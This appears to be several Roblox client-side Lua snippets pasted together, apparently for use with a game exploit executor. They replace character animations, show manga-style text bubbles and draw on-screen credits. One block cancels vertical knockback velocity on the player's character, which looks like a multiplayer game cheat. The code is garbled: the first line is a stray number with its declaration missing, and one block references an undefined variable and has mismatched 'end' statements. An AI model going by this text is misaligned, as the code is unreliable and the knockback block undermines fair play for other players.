10479335397 local player = game.Players.LocalPlayer local character = player.Character or player.CharacterAdded:Wait() local humanoid = character:WaitForChild("Humanoid") local function onAnimationPlayed(animationTrack) if animationTrack.Animation.AnimationId == "rbxassetid://" .. animationId then local p = game.Players.LocalPlayer local Humanoid = p.Character:WaitForChild("Humanoid") for _, animTrack in pairs(Humanoid:GetPlayingAnimationTracks()) do animTrack:Stop() end local AnimAnim = Instance.new("Animation") AnimAnim.AnimationId = "rbxassetid://13630786846" local Anim = Humanoid:LoadAnimation(AnimAnim) local startTime = 0 Anim:Play() Anim:AdjustSpeed(0) Anim.TimePosition = startTime Anim:AdjustSpeed(0.7) delay(1.2, function() Anim:Stop() end) end end humanoid.AnimationPlayed:Connect(onAnimationPlayed) local animationId = 10503381238 local player = game.Players.LocalPlayer local character = player.Character or player.CharacterAdded:Wait() local humanoid = character:WaitForChild("Humanoid") local function onAnimationPlayed(animationTrack) if animationTrack.Animation.AnimationId == "rbxassetid://" .. animationId then local p = game.Players.LocalPlayer local Humanoid = p.Character:WaitForChild("Humanoid") for _, animTrack in pairs(Humanoid:GetPlayingAnimationTracks()) do animTrack:Stop() end local AnimAnim = Instance.new("Animation") AnimAnim.AnimationId = "rbxassetid://14900168720" local Anim = Humanoid:LoadAnimation(AnimAnim) local startTime = 1.3 Anim:Play() Anim:AdjustSpeed(0) Anim.TimePosition = startTime Anim:AdjustSpeed(1) end end humanoid.AnimationPlayed:Connect(onAnimationPlayed) local animationId = 10470104242 local player = game.Players.LocalPlayer local character = player.Character or player.CharacterAdded:Wait() local humanoid = character:WaitForChild("Humanoid") local function onAnimationPlayed(animationTrack) if animationTrack.Animation.AnimationId == "rbxassetid://" .. animationId then animTrack:Stop() end local AnimAnim = Instance.new("Animation") AnimAnim.AnimationId = "rbxassetid://13785666020" local Anim = Humanoid:LoadAnimation(AnimAnim) local startTime = 0 wait(0.2) Anim:Play() Anim:AdjustSpeed(0) Anim.TimePosition = startTime Anim:AdjustSpeed(1) end end humanoid.AnimationPlayed:Connect(onAnimationPlayed) local Players = game:GetService("Players") local player = Players.LocalPlayer local character = player.Character or player.CharacterAdded:Wait() local humanoid = character:WaitForChild("Humanoid") local animationIdsToStop = { [10469493270] = true, [10469630950] = true, [10469639222] = true, [10469643643] = true, } local replacementAnimations = { ["10469643643"] = "rbxassetid://17889290569", ["10469639222"] = "rbxassetid://17889471098", ["10469630950"] = "rbxassetid://17889461810", ["10469493270"] = "rbxassetid://17889458563", } local queue = {} local isAnimating = false local function playReplacementAnimation(animationId) if isAnimating then table.insert(queue, animationId) return end isAnimating = true local replacementAnimationId = replacementAnimations[tostring(animationId)] if replacementAnimationId then local AnimAnim = Instance.new("Animation") AnimAnim.AnimationId = replacementAnimationId local Anim = humanoid:LoadAnimation(AnimAnim) Anim:Play() Anim.Stopped:Connect(function() isAnimating = false if #queue > 0 then local nextAnimationId = table.remove(queue, 1) playReplacementAnimation(nextAnimationId) end end) else isAnimating = false end end local function stopSpecificAnimations() for _, track in ipairs(humanoid:GetPlayingAnimationTracks()) do local animationId = tonumber(track.Animation.AnimationId:match("%d+")) if animationIdsToStop[animationId] then track:Stop() end end end local function onAnimationPlayed(animationTrack) local animationId = tonumber(animationTrack.Animation.AnimationId:match("%d+")) if animationIdsToStop[animationId] then stopSpecificAnimations() animationTrack:Stop() local replacementAnimationId = replacementAnimations[tostring(animationId)] if replacementAnimationId then playReplacementAnimation(animationId) end end end humanoid.AnimationPlayed:Connect(onAnimationPlayed) local player = game.Players.LocalPlayer local character = player.Character or player.CharacterAdded:Wait() local humanoidRootPart = character:WaitForChild("HumanoidRootPart") local function onBodyVelocityAdded(bodyVelocity) if bodyVelocity:IsA("BodyVelocity") then bodyVelocity.Velocity = Vector3.new(bodyVelocity.Velocity.X, 0, bodyVelocity.Velocity.Z) end end character.DescendantAdded:Connect(onBodyVelocityAdded) for _, descendant in pairs(character:GetDescendants()) do onBodyVelocityAdded(descendant) end player.CharacterAdded:Connect(function(newCharacter) character = newCharacter humanoidRootPart = character:WaitForChild("HumanoidRootPart") character.DescendantAdded:Connect(onBodyVelocityAdded) for _, descendant in pairs(character:GetDescendants()) do onBodyVelocityAdded(descendant) end end)local newAnimationId = "16746808371" local animationIds = { "12447707844" } local player = game.Players.LocalPlayer local character = player.Character or player.CharacterAdded:Wait() local humanoid = character:WaitForChild("Humanoid") local playerGui = player:WaitForChild("PlayerGui") local RunService = game:GetService("RunService") local SoundService = game:GetService("SoundService") local cinematicGui = Instance.new("ScreenGui") cinematicGui.Name = "CinematicGui" cinematicGui.Parent = playerGui local function createMangaText(parent, text) local billboardGui = Instance.new("BillboardGui") billboardGui.Size = UDim2.new(0, 150, 0, 350) billboardGui.AlwaysOnTop = true billboardGui.LightInfluence = 0 billboardGui.Parent = parent local borderFrame = Instance.new("Frame") borderFrame.Size = UDim2.new(1, 0, 1, 0) borderFrame.BackgroundColor3 = Color3.new(1, 1, 1) borderFrame.BorderSizePixel = 5 borderFrame.BorderColor3 = Color3.new(0, 0, 0) borderFrame.Parent = billboardGui local shadowLabel = Instance.new("TextLabel") shadowLabel.Size = UDim2.new(1, -20, 1, -20) shadowLabel.Position = UDim2.new(0.5, 2, 0.5, 2) shadowLabel.AnchorPoint = Vector2.new(0.5, 0.5) shadowLabel.BackgroundTransparency = 1 shadowLabel.Text = text shadowLabel.Font = Enum.Font.Arcade shadowLabel.TextSize = 28 shadowLabel.TextColor3 = Color3.new(0, 0, 0) shadowLabel.TextStrokeColor3 = Color3.new(0, 0, 0) shadowLabel.TextStrokeTransparency = 0.7 shadowLabel.TextWrapped = true shadowLabel.Parent = borderFrame local textLabel = Instance.new("TextLabel") textLabel.Size = UDim2.new(1, -20, 1, -20) textLabel.Position = UDim2.new(0.5, 0, 0.5, 0) textLabel.AnchorPoint = Vector2.new(0.5, 0.5) textLabel.BackgroundTransparency = 1 textLabel.Text = text textLabel.Font = Enum.Font.Arcade textLabel.TextSize = 28 textLabel.TextColor3 = Color3.new(0, 0, 0) textLabel.TextStrokeColor3 = Color3.new(1, 1, 1) textLabel.TextStrokeTransparency = 0 textLabel.TextWrapped = true textLabel.Parent = borderFrame return billboardGui end local leftText = createMangaText(cinematicGui, "My phone broke") local rightText = createMangaText(cinematicGui, "you need to die") leftText.Enabled = false rightText.Enabled = false local function updateTextOrientation() local head = character:WaitForChild("Head") leftText.Adornee = head rightText.Adornee = head leftText.StudsOffset = Vector3.new(-6, -2, 0) rightText.StudsOffset = Vector3.new(6, -2, 0) end RunService.RenderStepped:Connect(updateTextOrientation) local soundEffect = Instance.new("Sound") soundEffect.SoundId = "rbxassetid://0" soundEffect.Name = "NightmodeSound" soundEffect.Volume = 15 soundEffect.Parent = SoundService local function showTextsAndPlaySound() leftText.Enabled = true rightText.Enabled = true soundEffect:Play() task.delay(2, function() leftText.Enabled = false rightText.Enabled = false end) end local function stopAnimations() for _, track in ipairs(humanoid:GetPlayingAnimationTracks()) do if table.find(animationIds, track.Animation.AnimationId:match("%d+$")) then track:Stop() end end end local function playNewAnimation() local animation = Instance.new("Animation") animation.AnimationId = "rbxassetid://" .. newAnimationId local animationTrack = humanoid:LoadAnimation(animation) animationTrack:Play() animationTrack:AdjustSpeed(1) end local function onAnimationTrackStarted(track) if table.find(animationIds, track.Animation.AnimationId:match("%d+$")) then stopAnimations() playNewAnimation() showTextsAndPlaySound() end end humanoid.AnimationPlayed:Connect(onAnimationTrackStarted) local screenGui = Instance.new("ScreenGui") screenGui.Parent = game.Players.LocalPlayer:WaitForChild("PlayerGui") -- function to create text with offsets for thickness local function createTextLayer(parent, offsetX, offsetY, color) local textLayer = Instance.new("TextLabel") textLayer.Parent = parent textLayer.Size = UDim2.new(0, 300, 0, 50) -- adjust the size of za text textLayer.Position = UDim2.new(0.5, -150 + offsetX, 0.2, offsetY) -- apply offsets textLayer.AnchorPoint = Vector2.new(0.5, 0.5) -- centert za text textLayer.Text = "credits to tp exploit on discord" textLayer.TextColor3 = color -- color for za layer textLayer.TextSize = 25 textLayer.Font = Enum.Font.IndieFlower -- setting font to Indie Flower textLayer.BackgroundTransparency = 1 -- transparent for za background textLayer.ZIndex = 1 return textLayer end -- thickness (blackoutline dudeshit) createTextLayer(screenGui, -1, -1, Color3.new(0, 0, 0)) -- Top-left createTextLayer(screenGui, 1, -1, Color3.new(0, 0, 0)) -- Top-right createTextLayer(screenGui, -1, 1, Color3.new(0, 0, 0)) -- Bottom-left createTextLayer(screenGui, 1, 1, Color3.new(0, 0, 0)) -- Bottom-right -- creating za main text for credititing local textLabel = createTextLayer(screenGui, 0, 0, Color3.new(1, 1, 1)) -- whit main text textLabel.ZIndex = 2 -- main text is on topcreating a skibidi screenui local screenGui = Instance.new("ScreenGui") screenGui.Parent = game.Players.LocalPlayer:WaitForChild("PlayerGui") -- function to create text with offsets for thickness local function createTextLayer(parent, offsetX, offsetY, color) local textLayer = Instance.new("TextLabel") textLayer.Parent = parent textLayer.Size = UDim2.new(0, 300, 0, 50) -- adjust the size of za text textLayer.Position = UDim2.new(0.5, -150 + offsetX, 0.2, offsetY) -- apply offsets textLayer.AnchorPoint = Vector2.new(0.5, 0.5) -- centert za text textLayer.Text = "credits to RathaTepmanuth" textLayer.TextColor3 = color -- color for za layer textLayer.TextSize = 25 textLayer.Font = Enum.Font.IndieFlower -- setting font to Indie Flower textLayer.BackgroundTransparency = 1 -- transparent for za background textLayer.ZIndex = 1 return textLayer end -- thickness (blackoutline dudeshit) createTextLayer(screenGui, -1, -1, Color3.new(0, 0, 0)) -- Top-left createTextLayer(screenGui, 1, -1, Color3.new(0, 0, 0)) -- Top-right createTextLayer(screenGui, -1, 1, Color3.new(0, 0, 0)) -- Bottom-left createTextLayer(screenGui, 1, 1, Color3.new(0, 0, 0)) -- Bottom-right -- creating za main text for credititing local textLabel = createTextLayer(screenGui, 0, 0, Color3.new(1, 1, 1)) -- whit main text textLabel.ZIndex = 2 -- main text is on top